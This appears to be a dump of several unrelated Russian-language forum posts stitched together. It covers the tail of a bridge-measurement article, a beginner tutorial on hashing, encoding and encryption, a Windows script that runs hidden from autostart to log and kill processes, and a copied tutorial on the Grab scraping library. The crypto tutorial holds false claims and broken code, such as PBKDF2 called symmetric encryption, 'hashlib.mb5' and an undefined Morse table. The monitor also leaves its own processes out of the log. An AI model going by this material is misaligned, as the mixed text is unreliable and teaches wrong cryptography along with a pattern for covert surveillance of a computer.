(topLeft, topRight, bottomRight, bottomLeft) = coords
itopLeft = int(round(topLeft[0]))
itopRight = int(round(topRight[0]))
ibottomLeft = int(round(bottomLeft[0]))
ibottomRight = int(round(bottomRight[0]))
topCutCoords.append(itopLeft)
topCutCoords.append(itopRight)
bottomCutCoords.append(ibottomLeft)
bottomCutCoords.append(ibottomRight)
ax.text(topLeft[0], topLeft[1], itopLeft)
ax.text(topRight[0], topRight[1], itopRight, horizontalalignment='right')
ax.text(bottomLeft[0], bottomLeft[1], ibottomLeft, verticalalignment='top', horizontalalignment='center')
ax.text(bottomRight[0], bottomRight[1], ibottomRight, verticalalignment='top', horizontalalignment='center')
print "Top coordinates:", topCutCoords
print "Bottom Coordinates:", bottomCutCoords
Конечный вывод:
Code:Copy to clipboard
Top coordinates: [10, 141, 144, 228, 231, 307, 310, 394, 397, 528]
Bottom Coordinates: [43, 131, 156, 214, 247, 291, 324, 382, 407, 495
Послесловие от меня.
Я впервые перевожу материал как то связанный с инженерией и физикой. Если вам понравилось, то был бы рад вашему комментарию. И помните - "погрешность = необходимость".
Спасибо за прочтение данной статьи и хорошего дня.
Оригинальная статья: https://johnflux.com/category/bridge/
neopaket
Отличия и реализация хеширования, шифрования и кодирования в Python.
Всем привет, криптография - нынешняя необходимость в нашем мире, благодаря технологиям шифрования, кодирования и хеширования наши данные с сотен различных сайтов, форумов, мессенджеров, приложений и прочих изысков настоящего мира конфиденциальны.
Я думаю хватит поливать фонтан водой, приступим и начнём с самого лёгкого, а именно хеширования!
Хеширование - но зачем.
Хеширование (от анг. hashing) - это довольно простая технология при которой
ваши входные данные (Например название нашего форума “XSS”) преобразуется в
нечитаемую последовательность чисел, а часто и буквенных символов, которую
потом нельзя будет обратить в исходное (Входное) сообщение. Значение, которое
мы получили в итоге называется хеш-суммой (Или же хеш-кодом), она используется
для проверки целостности файлов (Которую мы в будущем разберём), а также для
хранения файлов, которые нельзя хранить в буквенном значении.
Сейчас мы преобразуем “XSS” в хеш в формате MD5
![](/proxy.php?image=https%3A%2F%2Fencrypted- tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%253AANd9GcQwibQUpUvMtUpAy7BIpAXZ1ycNjIhrjoLo_qiJllw8FGuoOGqc&hash=0009d5aafe1e4a85d347edd307e45497)
Code:Copy to clipboard
#Для начала импортируем hashlib для работы с хешами
#Ссылку на полную документацию про hashlib я оставлю в конце статьи
import hashlib
#Задаём любое название функции, которая будет хешировать текст
xss = hashlib.md5()
#Обновляем нашу переменную, которую мы создали ранее и придаём ей любое сообщение
xss.update(b"xss")
#И выводим получившийся хеш-код
print(xss.hexdigest())
Вывод: 2c71e977eccffb1cfb7c6cc22e0e7595
Всё довольно просто. Вообще существует не одна библиотека для преобразования текста в хеш, но hashlib наверное самая популярная и лёгкая в использовании, она может преобразовать сообщение в такие хеши как sha1, sha256, blake2b и многие другии хеши семейства SHA и BLAKE и не только.
Довольно легко, не правда ли, 2c71e977eccffb1cfb7c6cc22e0e7595’ чане?
Кодирование - слишком просто, чтобы быть правдой.
Кодирование (от анг. Code) - технология при которой входной текст
преобразуется в новый при помощи алфавита кода, который будет получен в
конечном итоге. Проще говоря, вспомните азбуку Морзе, где каждая буква состоит
из точек и тире. Закодированный текст можно обратно преобразовать в исходное
сообщение. Кодирование довольно легко спутать с шифрованием, но потом я
расскажу о их отличительных особенностях и применении.
Давайте же по ещё не сложившейся традиции из “XSS” получим довольно интересный
код морзе для которого нам и пригодится ранее описанная азбука.
![](/proxy.php?image=https%3A%2F%2Fwww.google.com%2Fsearch%3Fq%3DAScii%2B%25D0%25B0%25D0%25BB%25D1%2584%25D0%25B0%25D0%25B2%25D0%25B8%25D1%2582%26tbm%3Disch%26ved%3D2ahUKEwiJ3MjdueXlAhWDzyoKHTu1CbwQ2-cCegQIABAA%26oq%3DAScii%2B%25D0%25B0%25D0%25BB%25D1%2584%25D0%25B0%25D0%25B2%25D0%25B8%25D1%2582%26gs_l%3Dimg.3..0j0i8i30l5.14119.18855..19191...1.0..0.90.1093.13......0....1..gws-
wiz-img.....10..35i362i39j35i39j0i5i30.RX-
qzUIPwJM%26ei%3D0w3LXcmmBYOfqwG76qbgCw%26bih%3D907%26biw%3D1680%26rlz%3D1C1AWFC_enRU875RU875%23imgrc%3DHlzqdjmsgfFNdM&hash=6e41ef0a43af145c4ffade0f0f436ba8)
Code:Copy to clipboard
#Азбуку Морзе можно взять в любом открытом источнике
Morse = {'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S':
'...', 'T': '-', 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--', 'Z': '--..', '0': '-----', '1': '.----', '2': '..---', '3': '...--', '4': '....-', '5': '.....', '6': '-....', '7': '--...', '8': '---..', '9': '----.' }
Code:Copy to clipboard
#Задаём функцию decode и возвращаем её с такими значениями...
def decode(s):
return ' '.join(CODE.get(i.upper()) for i in s)
#Выводим закодированный текст
print(decode('xss'))
Вывод: -..- ... …
Интересная задумка с алфавитом вышла не слишком уж сложной из за обобществления алфавитов и поэтому кодирование не так безопасно.
Шифрование - время настало.
Алгоритм шифрования представляет собой технологию при которой закодированный текст становится нечитаемым для человека у которого нет специального ключа. Шифры постоянно развиваются и как всё на свете раскрывают свою истину, новые шифры заменяют старые. Шифрование настолько велико и популярно, что образовало собой новую ветвь в информационных технологиях - криптографию. Представьте себе некую информационную ячейку содержимое которой можно открыть только специальным ключом, который выдаётся только доверенным лицам владельца ячейки.
Криптографическая система используется для защиты и хранения важной информации, первоначально использовалась в военных целях. Сейчас в интернеты пости все крипто-алгоритмы открыты, а это значит, что принцип их работы известен. А вот алгоритмы закрытых ключей неизвестны и ключи от них скрыты от публики.
Кроме открытых и закрытых крипто-ключи делятся на симметричные и
асимметричные. В симметричных для расшифрования и шифрования файлов
используется один и тот же ключ, для примера: Для всех действий с файлом
используют один и тот же ключ mzkQ?6cOHXRLiAao.
Асимметричные ключи представляют собой алгоритм при котором для различных
действий с нашим контейнером используются различные математически связанные
ключи. Пара из таких ключей называется криптопарой при которой один ключ
открытый и закрытый и эти два ключа взаимосвязаны между собой => зашифрованная
закрытым ключом информация может быть расшифрована открытым и наоборот.
Целью данной статьи не является полность описать криптографию, а просто показать отличие между хешированием, кодированием и шифрованием. Поэтому я воссоздам симметричную и асимметричную криптосистему:
Code:Copy to clipboard
#Импортируем модули для создания хешей и новых методов кодирования
import hashlib
import binascii
#Задаём переменной xss функцию при которой текст преобразовывается в sha256
xss = hashlib.pbkdf2_hmac(hash_name='sha256',
#потом задаём симметричный пароль
password=b'pass',
#и соль
salt=b'salt',
iterations=100000)
result = binascii.hexlify(xss)
print(result)
И вот наш вывод: b'e49e4db45afb07d699e3b33e520252b0f189d147cafe8363166d7d893f1b7ef2'
Чем же отличается шифрование от кодирования?
Кодирование - преобразование текста в код при помощи открытого алфавита по определенному алгоритму, код никак нельзя скрыть от других людей, перехватив закодированный текст его довольно легко декодировать, а даже если вы перехватите шифрованный текст, то не сможете его декодировать имея пароль.
Для чего же нужна соль шифру?
Соль - строка хеш, которая нужна чтобы усложнить код и как мы уже знаем из начала статьи - хеш нельзя декодировать. Пример использования соли:
Code:Copy to clipboard
import hashlib
#это нам уже знакомо
xss = hashlib.mb5()
xss = xss.update(“xss”)
salt = “fi7t6im8m1ge”
И вот мы получили хеш и соль, которые в дальнейшем можно соединить.
Подведём итоги, применение данных технологий.
Начну с применения данных алгоритмов.
Хеширование : Вы настроили сервис на “На всякий случай” от Google. Если
кто то не знает это сервис предоставляет доступ к близким вам лицам если вы
долго им не пользуетесь, изначально этот сервер предназначался как некоторое
электронное наследство близким вам людям в виде личных данных аккаунтов и
прочему, но или просто ради безопасности вашего аккаунта при долгом
бездействии. Вы никому не захотели отдавать свою коллекцию фотографий с
кошками на вашем старом Google Drive’е. Вам пришло сообщение на телефон о том,
что все данные удалятся если вы не откликнетесь, вы пропустили этот момент и
ваши данные кешируются, в дальнейшем ни вы, ни Google не смогут использовать
эти данные, так как кеш невозможно декодировать.
Кодирование : Все мы уже знаем о великом языке Морзе, который сильно
повлиял на войны, развитие корабле ходства и общения в общем и конечно же
развитии логического мышления человека.
![](/proxy.php?image=https%3A%2F%2Fupload.wikimedia.org%2Fwikipedia%2Fcommons%2Fthumb%2Fc%2Fca%2FMorse_code_tree3.png%2F650px-
Morse_code_tree3.png&hash=de856b1b991d118c288a926608a218bb)
Шифрование : Оо, оно окружает нас везде, от передачи наших электронных писем, сохранности наших паролей и конфиденциальности личной информации. Если обсуждать данную тему и влияние на современное общество, то можно сделать отдельную статью.
Заключение.
Мне очень понравилась данная тема и мне так же приятно, что вы её прочли и
прошли этот путь со мной. Источники, которые использовались для создание
данной статьи:
https://wikipedia.org/
http://qaru.site/
https://habr.com/ru/
https://toster.ru/
https://python-scripts.com/
В данной статье приведу пример мониторинга запускаемых приложений в ОС
windows.
Скрипт для ведения логов будет написан на python 3.
Скрипт позволит просмотреть, какие процессы и приложения запускались системой
и пользователем, а так же закрывать нежелательные приложения/процессы.
Для начала напишем определим, что именно будет делать скрипт.
1. Скрипт будет работать в системе постоянно, в скрытом режиме.
2. Скрипт должен записывать все запускаемые приложения в формате ("имя
приложения" "id процесса" "Потребляемая память" "Время запуска" "Дата
запуска")
3. Так же скрипт будет записывать все завершающиеся процессы в таком же
формате
4. Скрипт не будет регистрировать запуск и завершение приложений из "черного"
списка
5. Скрипт будет завершать процессы из произвольного списка
Теперь давайте определим, какие модули нам понадобятся и импортируем их
Python:Copy to clipboard
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
from time import sleep, time
import log
import threading
def main():
# Основная функция main()
if __name__ == "__main__":
main()
Я вынес некоторые функции, которыми часто пользуюсь в отдельный модуль
"log.py".
Выглядит он вот так:
Python:Copy to clipboard
def write(text="Script name: log.py\nFunction: write()\n", fname="log.log", rej="w", cod="utf8"):
# Функция сохраняет данные в файл
try:
f = open(fname, rej, encoding=cod)
f.write(text)
f.close()
return 1
except Exception as e:
return str(e)
def read(fname="log.log", rej="r", cod="utf8"):
# Функция считывает данные из файла
try:
f = open(fname, rej)
text = f.read()
f.close()
return text
except:
try:
f = open(fname, rej, encoding=cod)
text = f.read()
f.close()
return text
except Exception as e:
return str(e)
def CommandExecutionP(command=""):
# Функция использует устаревшую функцию "popen" из модуля os, однако это работает и вполне удобно
import os
result = os.popen(command).read()
return result
def CommandExecution(command=""):
# Функция используем модуль os и выполняет cmd команду
import os
result = os.system(command)
return result
def getDate():
# Функция возвращает текущую дату
import datetime
MyDate = datetime.date.today()
return MyDate
def getTime():
# Функция возвращает текущее время
import datetime
MyTime = datetime.datetime.today().strftime("%H:%M:%S")
return MyTime
Теперь давайте напишем основную функцию.
В ней будут определены несколько глобальных переменных и вечный цикл, который
будет асинхронно вызывать функцию для чтения процессов и дальнейшей работы с
ними.
Python:Copy to clipboard
def main():
global Filename
global List
global BlackList
global path
path = "Logs/" # В переменной хранится путь, по которому будут сохраняться логи
BlackList = log.read('blackList.conf').split('\n') # Считывается файл, со списком процессов ,которые мониторить не нужно из файла "blackList.conf"
d = str(log.getDate()) # Получаем дату
t = str(log.getTime()) # Получаем время
d = d.split('-') # Преобразуем вид даты (не обязательно, просто мне так уобнее)
d = d[2] + '-' + d[1] + '-' + d[0]
Filename = d.replace('-', '') + t.replace(':', '') + '.log' # Формируем имя лог-файла
List = list()
_PID = log.CommandExecutionP('tasklist /FO CSV').split('\n') # первый раз получаем список запущенных процессов, но не сохраняем в файл
PidSave(_PID, d, t, 'n')
while (True):
sleep(1) # Цикл выполняется через каждую секунду (время можно сократить, однако тогда возрастет нагрузка на систему)
potok = threading.Thread(target= PidRead) # Функция, считывающая список запущенных процессов, будет работать асинхронно
potok.start()
Главная функция готова, теперь давайте напишем функцию для получения списка процессов:
Python:Copy to clipboard
def PidRead():
# Функция получает список запущенных процессов и отправляет их в функции-проверки
_PID = log.CommandExecutionP('tasklist /FO CSV').split('\n')
d = str(log.getDate())
t = str(log.getTime())
PidSave(_PID, d, t)
PidDel(_PID, d, t)
Список процессов получили, теперь сравним со списком, процессов который
храниться у нас в переменной "List" и понять, какие процессы добавились, а
какие уже завершились.
Для этого давайте напишем две функции. Первая будет проверять какие новые
процессы запустились и записывать их файл:
Python:Copy to clipboard
def PidSave(_PID="", d="", t="", wr='y'):
for line in _PID:
# Цикл перебирает полученный список процессов
line = line.replace('"','').split(',') # линию с информацией о процессе разбиваем на элементы и удаляем кавычки
if len(line) > 1: # Если элементов в линии с информацие больше одного (то есть есть информация о процессе)
if not line[0] + ' ' + line[1] in List: # Если имени процесса и его id нет в нашем списке процесссов
List.append(line[0] + ' ' + line[1]) # то добавляем их в наш локальный список
if wr == 'y' and line[3] != '0' and not line[0] in BlackList: # Если аргумент записи = y и это не Services
log.write('+ \t' + line[0] + '\t' + line[1] + '\t' + line[4][:len(line[4])-2].replace('я',' ') + 'Кб' + '\t' + t + '\t' + d.replace('-', '.') + '\n', path + Filename, 'a') # то ДОзаписываем информацию информацию об этом в лог-файл
if line[0] in log.read('killProcessed.conf').split('\n'): # Если же имя процесса есть в списке завершаемых (в файле "killProcessed.conf")
log.CommandExecution('taskkill /PID ' + line[1]) # то завершаем этот процесс
return List
и вотрая функция, которая делает то же самое, но проверяет каких процессов больше нет в полученном списке:
Python:Copy to clipboard
def PidDel(_PID, d, t, wr='y'):
# Функция проверяет каких процессов больше нет в получееном списке, если находит, то удаляет их из нашего локального списка и записывает информацию в файл
for line in List:
line = line.replace('"','').split(',')
if len(line) > 1:
if not line[0] + ' ' + line[1] in List:
List.remove(line[0] + ' ' + line[1])
line = line.replace('"','').split(',')
if wr == 'y' and line[3] != '0' and not line[0] in BlackList:
log.write('- \t' + line[0] + '\t' + line[1] + '\t' + line[4][:len(line[4])-2].replace('я',' ') + 'Кб' + '\t' + t + '\t' + d.replace('-', '.') + '\n', path + Filename, 'a')
return List
Вот и почти все готово, осталось создать два конфиг-файла ("blackList.conf" и
"killProcessed.conf")
В файле blackList.conf пишем следующее:
Code:Copy to clipboard
csrss.exe
python.exe
cmd.exe
tasklist.exe
dllhost.exe
explorer.exe
taskhost.exe
Это сделано для того, чтобы скрипт не записывал информацию о запуске самого
себя.
Так же не будет записываться информация о запуске командной строки и
интерпретатора python.
А в файле killProcessed.conf названия процессов, которые скрипт будет
закрывать, например:
Code:Copy to clipboard
calc.exe
mspaint.exe
Ну вот и все готово, осталось дать скрипту расширение .pyw и прописать в
автозагрузку.
P.S. Все файлы (script.pyw, log.py, blackList.conf и killProcessed.conf)
должны находиться в одной директории.
P.P.S. Я не специалист в написании кода, да и не знаю насколько полезна будет
сама статья, так что прошу не кидать палки слишком больно
Автор @NKB
Предупреждение (Achtung!! Alarm!!! Warning!!!), статья была взята с Habr,
её автором является (Gregory Petukhov
itforge)
Я в одном из топиков увидел сообщение о том что можно использовать для
парсинга и не только в Python-е, библиотеку Grab и загорелся интересом. По
причине что иногда requests и beautifulsoup не дают нужного результата, а
selenium громоздкий и для написания чекеров или что-то около того просто на
просто не рабочий в данную минуту. И я начал искать материалы по данной
библиотеке, что бы хоть как то с ней ознакомиться, и нашёл. Немного, но нашёл.
Меньше слов, статью в студию!!
Лет пять-шесть назад, когда я ещё программировал преимущественно на PHP, я начал использовать библиотеку curl для парсинга сайтов. Мне нужен был инструмент, который позволял эмулировать сессию пользователя на сайте, отсылать заголовки обычного браузера, давать удобный способ отсылки POST- запросов. Сначала я пытался использовать напрямую curl-расширение, но его интерфейс оказался очень неудобным и я написал обёртку с более простым интерфейсом. Время шло, я пересел на python и столкнулся с таким же дубовым API curl-расширения. Пришлось переписать обёртку на python.
Что такое grab?
Это библиотека для парсинга сайтов. Её основные функции:
Далее я расскажу о каждом пункте более подробно. Для начала поговорим об инициализации рабочего объекта и подготовке сетевого запроса. Приведу пример кода, который запрашивает страницу с яндекса и сохраняет её в файл:
Python:Copy to clipboard
>>> g = Grab(log_file='out.html')
>>> g.go('http://yandex.ru')
На самом деле параметр log_file
предназначен для отладки — он указывает куда
сохранить тело ответа для дальнейшего изучения. Но можно и для скачивания
файла его использовать.
Мы увидели как можно отконфигурировать объкт Grab — прямо в конструкторе. А вот ещё варианты того же кода:
Python:Copy to clipboard
>>> g = grab()
>>> g.setup(url='http://yandex.ru', log_file='out.html')
>>> g.request()
или
Python:Copy to clipboard
>>> g = Grab()
>>> g.go('http://yandex.ru', log_file='out.html')
Самый короткий:
Python:Copy to clipboard
>>> Grab(log_file='out.html').go('http://yandex.ru')
Резюмирую: можно задать конфигурацию Grab через конструктор, через метод
setup
или через методы go
и request
. В случае метода go
, запрашиваемый
URL можно передать позиционным аргументом, в других случаях нужно передавать
его как именованный аргумент. Отличие методов go
и request
в том, что go
требует обязательным первым параметром URL, в то время как request ничего не
требует и использует URL, который мы задали ранее.
Помимо опции log_file
, есть опция log_dir
, которая невероятно облегчает
отладку многошагового парсера.
Python:Copy to clipboard
>>> import logging
>>> from grab import Grab
>>> logging.basicConfig(level=logging.DEBUG)
>>> g = Grab()
>>> g.setup(log_dir='log/grab')
>>> g.go('http://yandex.ru') DEBUG:grab:[02] GET http://yandex.ru
>>> g.setup(post={'hi': u'Превед, яндекс!'})
>>> g.request() DEBUG:grab:[03] POST http://yandex.ru
Видите? Каждый запрос получил свой номер. Ответ на каждый запрос был записан в файл /tmp/[номер].html, также был создан /tmp/[номер].log файл, в котором записаны http-заголовки ответа. А что вообще делает вышеприведённый код? Он идёт на главную страницу яндекса. А затем делает бессмысленный POST-запрос на эту же страницу. Обратите внимание, что во втором запросе мы не указываем URL — по-умолчанию используется url предыдущего запроса.
Давайте рассмотрим ещё одну настройку Grab, предназначенную для отладки.
Python:Copy to clipboard
>>> g = Grab()
>>> g.setup(debug=True)
>>> g.go('http://youporn.com')
>>> g.request_headers {'Accept-Language': 'en-us;q=0.9,en,ru;q=0.3', 'Accept-Encoding': 'gzip', 'Keep-Alive': '300', 'Accept': 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.3', 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2', 'Accept-Charset': 'utf-8,windows-1251;q=0.7,*;q=0.7', 'Host': 'www.youporn.com'}
Мы сделали запрос к youporn.com. Опция debug
включает запоминание заголовков
исходящих запросов. Если мы в чём-то не уверены, можно посмотреть, что именно
мы отослали на сервер. В аттрибуте request_headers
сохранён словарь с
ключами и значениями http-заголовков запроса.
Рассмотрим базовые возможности по составлению запросов.
Методы http-запроса
POST-запрос. Всё довольно просто. Укажите в опции post
словарь с ключами и
значениями. Grab автоматически изменит типа запроса на POST
Python:Copy to clipboard
>>> g = Grab()
>>> g.setup(post={'act': 'login', 'redirec_url': '', 'captcha': '', 'login': 'root', 'password': '123'})
>>> g.go('http://habrahabr.ru/ajax/auth/')
>>> print g.xpath_text('//error') Неверный код защиты
GET-запрос. Если явно не были заданы POST-данные или метод запроса, то Grab сгенерирует GET-запрос.
PUT, DELETE, HEAD методы. Теоритически всё будет работать, если вы зададите опцию method='delete', method='put' или method='head'. Практически же я мало работал с этими методами и не уверен в их работоспособности.
Важное замечание о POST-запросах. Grab устроен так, что сохраняет все заданные
опции и использует их в следующих запросах. Единственная опция, которую он не
сохраняет — это post
опция. Если бы он сохранял её, то в следущем примере вы
бы отправили POST-запрос на второй URL, а это вряд ли то, что вы хотели
Python:Copy to clipboard
>>> g.setup(post={'login': 'root', 'password': '123'})
>>> g.go('http://example.com/login')
>>> g.go('http://example.com/news/recent')
Настройка http-заголовков
Теперь рассмотрим, как можно настраивать отправляемые http-заголовки. Просто
задайте словарик заголовков опцией headers
. По-умолчанию, Grab генерирует
некоторые заголовки, чтобы больше быть похожим на браузер: Accept, Accept-
Language, Accept-Charset, Keep-Alive. Их вы также можете менять опцией
headers
:
Python:Copy to clipboard
>>> g = Grab()
>>> g.setup(headers={'Accept-Encoding': ''})
>>> g.go('http://digg.com')
>>> print g.response.headers.get('Content-Encoding') None
>>> g.setup(headers={'Accept-Encoding': 'gzip'})
>>> g.go('http://digg.com')
>>> print g.response.headers['Content-Encoding'] gzip
Работа с cookies
По-умолчанию, Grab сохраняет полученные cookies и отсылает их в следующем
запросе. Вы получаете эмуляцию пользовательских сессий из коробки. Если вам
это не нужно, отключите опцию reuse_cookies
. Вы можете задать cookies
вручную опцией cookies
, она должна содержать словарик, обработка которого
аналогична обработке данных, переданных в post
опции.
Python:Copy to clipboard
>>> g.setup(cookies={'secureid': '234287a68s7df8asd6f'})
Вы можете указать файл, который следует использовать как хранилище cookies,
опцией cookiefile
. Это позволит вам сохранять cookies между запусками
программы.
В любой момент вы можете записать cookies Grab объекта в файл методом
dump_cookies
или загрузить из файла методом load_cookies
. Чтобы очистить
cookies Grab объекта используйте метод clear_cookies
.
User-Agent
По-умолчанию, Grab претворяется настоящим браузером. У него есть список
различных User-Agent строк, одна из которых выбирается случайным образом при
создании Grab объекта. Конечно, вы можете задать свой User-Agent опцией
user_agent
.
Python:Copy to clipboard
>>> from grab import Grab
>>> g = Grab()
>>> g.go('http://whatsmyuseragent.com/')
>>> g.xpath('//td[contains(./h3/text(), "Your User Agent")]').text_content() 'The Elements of Your User Agent String Are:\nMozilla/5.0\r\nWindows\r\nU\r\nWindows\r\nNT\r\n5.1\r\nen\r\nrv\r\n1.9.0.1\r\nGecko/2008070208\r\nFirefox/3.0.1'
>>> g.setup(user_agent='Porn-Parser')
>>> g.go('http://whatsmyuseragent.com/')
>>> g.xpath('//td[contains(./h3/text(), "Your User Agent")]').text_content() 'The Elements of Your User Agent String Are:\nPorn-Parser'
Работа с прокси-сервером
Всё банально. В опции proxy
нужно передать адрес прокси в виде
«server:port», в опции proxy_type
передаём её тип: «http», «socks4» или
«socks5» Если ваши прокси требуют авторизации, используйте опцию
proxy_userpwd
, значение которой имеет вид «user:password».
Простейший поисковик прокси-серверов на базе Google поиска:
Python:Copy to clipboard
>>> from grab import Grab, GrabError
>>> from urllib import quote
>>> import re
>>> g = Grab()
>>> g.go('http://www.google.ru/search?num=100&q=' + quote('free proxy +":8080"'))
>>> rex = re.compile(r'(?:(?:[-a-z0-9]+\.)+)[a-z0-9]+:\d{2,4}')
>>> for proxy in rex.findall(g.drop_space(g.css_text('body'))):
... g.setup(proxy=proxy, proxy_type='http', connect_timeout=5, timeout=5)
... try:
... g.go('http://google.com')
... except GrabError:
... print proxy, 'FAIL'
... else:
... print proxy, 'OK'
...
210.158.6.201:8080 FAIL
...
proxy2.com:80 OK
….
210.107.100.251:8080 OK
….
Работа с ответом
Допустим, вы сделали сетевой запрос с помощью Grab. Что дальше? Методы go
и
request
вернут вам объект Response, который также доступен через аттрибут
response
объекта Grab. Вас могут заинтересовать следующие аттрибуты и методы
объекта Response: code, body, headers, url, cookies, charset.
Grab объект имеет метод response_unicode_body
, который возвращает тело
ответа, преобразованное в unicode, учтите, что HTML entities типа "&" не
преобразовывается в уникодовые аналоги.
Response объект последнего запроса всегда хранится в аттрибуте response
Grab
объекта.
Python:Copy to clipboard
>>> g = Grab()
>>> g.go('http://aport.ru')
>>> g.response.code
200
>>> g.response.cookies
{'aportuid': 'AAAAGU5gdfAAABRJAwMFAg=='}
>>> g.response.headers['Set-Cookie']
'aportuid=AAAAGU5gdfAAABRJAwMFAg==; path=/; domain=.aport.ru; expires=Wed, 01-Sep-21 18:21:36 GMT'
>>> g.response.charset
'windows-1251'
Работа с текстом ответа (grab.ext.text расширение)
Метод search
позволяет установить присутствует ли заданная строка в теле
ответа, метод search_rex
принимает в качестве параметра объект регулярного
выражения. Методы assert_substring
и assert_rex
генерируют DataNotFound
исключение, если аргумент не был найден. Также в этом расширении находятся
такие удобные функции как find_number — ищет первое числовое вхождение,
drop_space— удаляет любые пробельные символы и
normalize_space` — заменяет
последовательности пробелов одним пробелом.
Python:Copy to clipboard
>>> g = Grab()
>>> g.go('http://habrahabr.ru')
>>> g.search(u'Google')
True
>>> g.search(u'яндекс')
False
>>> g.search(u'Яндекс')
False
>>> g.search(u'гугл')
False
>>> g.search(u'Медведев')
True
>>> g.search('Медведев')
Traceback (most recent call last):
File "", line 1, in
File "grab/ext/text.py", line 37, in search
raise GrabMisuseError('The anchor should be byte string in non-byte mode')
grab.grab.GrabMisuseError: The anchor should be byte string in non-byte mode
>>> g.search('Медведев', byte=True)
True
>>> import re
>>> g.search_rex(re.compile('Google'))
<_sre.SRE_Match object at 0xb6b0a6b0>
>>> g.search_rex(re.compile('Google\s+\w+', re.U))
<_sre.SRE_Match object at 0xb6b0a6e8>
>>> g.search_rex(re.compile('Google\s+\w+', re.U)).group(0)
u'Google Chrome'
>>> g.assert_substring('скачать торрент бесплатно')
Traceback (most recent call last):
File "", line 1, in
File "grab/ext/text.py", line 62, in assert_substring
if not self.search(anchor, byte=byte):
File "grab/ext/text.py", line 37, in search
raise GrabMisuseError('The anchor should be byte string in non-byte mode')
grab.grab.GrabMisuseError: The anchor should be byte string in non-byte mode
>>> g.assert_substring(u'скачать торрент бесплатно')
Traceback (most recent call last):
File "", line 1, in
File "grab/ext/text.py", line 63, in assert_substring
raise DataNotFound('Substring not found: %s' % anchor)
grab.grab.DataNotFound
>>> g.drop_spaces('foo bar')
Traceback (most recent call last):
File "", line 1, in
AttributeError: 'Grab' object has no attribute 'drop_spaces'
>>> g.drop_space('foo bar')
'foobar'
>>> g.normalize_space(' foo \n \t bar')
'foo bar'
>>> g.find_number('12 человек на сундук мертвеца')
'12'
Работа с DOM-деревом (grab.ext.lxml расширение)
Подходим к самому интересному. Благодаря замечательной библиотеке lxml Grab
предоставляет вам возможность работать с xpath-выражениями для поиска данных.
Если очень кратко: через аттрибут tree
вам доступно DOM-дерево с ElementTree
интерфейсом. Дерево строится с помощью парсера библиотеки lxml. Работать с
DOM-деревом можно используя два языка запросов: xpath и css.
Методы работы с xpath:
Если элемент не был найден, то функции xpath
, xpath_text
и xpath_number
сгенеририруют DataNotFound исключение.
Функции css
, css_list
, css_text
и css_number
работают аналогично, за
одним исключением, аргументом должен быть не xpath-путь, а css-селектор.
Python:Copy to clipboard
>>> g = Grab()
>>> g.go('http://habrahabr.ru')
>>> g.xpath('//h2/a[@class="topic"]').get('href')
'http://habrahabr.ru/blogs/qt_software/127555/'
>>> print g.xpath_text('//h2/a[@class="topic"]')
Релиз Qt Creator 2.3.0
>>> print g.css_text('h2 a.topic')
Релиз Qt Creator 2.3.0
>>> print 'Comments:', g.css_number('.comments .all')
Comments: 5
>>> from urlparse import urlsplit
>>> print ', '.join(urlsplit(x.get('href')).netloc for x in g.css_list('.hentry a') if not 'habrahabr.ru' in x.get('href') and x.get('href').startswith('http:'))
labs.qt.nokia.com, labs.qt.nokia.com, thisismynext.com, www.htc.com, www.htc.com, droider.ru, radikal.ru, www.gosuslugi.ru, bit.ly
Формы (grab.ext.lxml_form расширение)
Когда я реализовал функциональность по автоматическому заполнению форм я был
очень рад. Порадуйтесь и вы! Итак, есть методы set_input
— заполняет поле с
указанным именем, set_input_by_id
— по значению аттрибута id, и
set_input_by_number
— просто по номеру. Эти методы работают с формой,
которую можно задать руками, но обычно Grab сам угадывает правильно, с какой
формой нужно работать. Если форма одна — всё понятно, а если несколько? Grab
возьмёт ту форму, в которой больше всего полей. Чтобы задать форму вручную
используйте метод choose_form
. Методом submit
можно отправить заполненную
форму. Grab сам построит POST/GET запрос для полей, которые мы не заполнили
явно (например hidden поля), вычислит action формы и метод запроса. Есть также
метод form_fields
который вернёт в словарике все поля и значения формы.
Python:Copy to clipboard
>>> g.go('http://ya.ru/')
>>> g.set_input('text', u'бесплатное порно')
>>> g.submit()
>>> print ', '.join(x.get('href') for x in g.css_list('.b-serp-url__link'))
http://gigporno.ru/, http://drochinehochu.ru/, http://porno.bllogs.ru/, http://www.pornoflv.net/, http://www.plombir.ru/, http://vuku.ru/, http://www.carol.ru/, http://www.Porno-Mama.ru/, http://kashtanka.com/, http://www.xvidon.ru/
Транспорты
По-умолчанию, Grab использует pycurl для всех сетевых операций. Эта фунциональность реализована тоже в виде расшерения и можно подключить другое транспорт-расширение, например, для запросов через urllib2 библиотеку. Есть только одна проблема, это расширение нужно предварительно написать Работы по urllib2 расширению ведутся, но весьма неспешно — меня на 100% устраивает pycurl. Я думаю, pycurl и urllib2 расширения по-возможностям будут аналогичны, за исключением того, что urllib2 не умеет работать с SOCKS- проксями. Все примеры, приведённые в данной статье используют pycurl- транспорт, который включен по-умолчанию.
Python:Copy to clipboard
>>> g = Grab()
>>> g.curl
<pycurl.Curl object at 0x9d4ba04>
>>> g.extensions
[<grab.ext.pycurl.Extension object at 0xb749056c>, <grab.ext.lxml.Extension object at 0xb749046c>, <grab.ext.lxml_form.Extension object at 0xb6de136c>, <grab.ext.django.Extension object at 0xb6a7e0ac>]
Режим молотка (hammer-mode)
Этот режим включен по-умолчанию. Для каждого запроса у Grab есть таймаут. В
режиме молотка в случае таймаута Grab не генерирует сразу исключение, а
пытается ещё несколько раз сделать запрос с возростающими таймаутами. Этот
режим позволяет значительно увеличить стабильность программы т.к. микро-паузы
в работе сайтов или разрывы в канале встречаются сплошь и рядом. Для включения
режима испльзуйте опцию hammer_mode
, для настройки количества и длины
таймаутов используйте опцию hammer_timeouts
, в которую должен быть передан
список числовых пар: первое число это таймаут на соединение с сокетом сервера,
второе число — таймаут на всё время операции, включая получение ответа.
Python:Copy to clipboard
>>> import logging
>>> logging.basicConfig(level=logging.DEBUG)
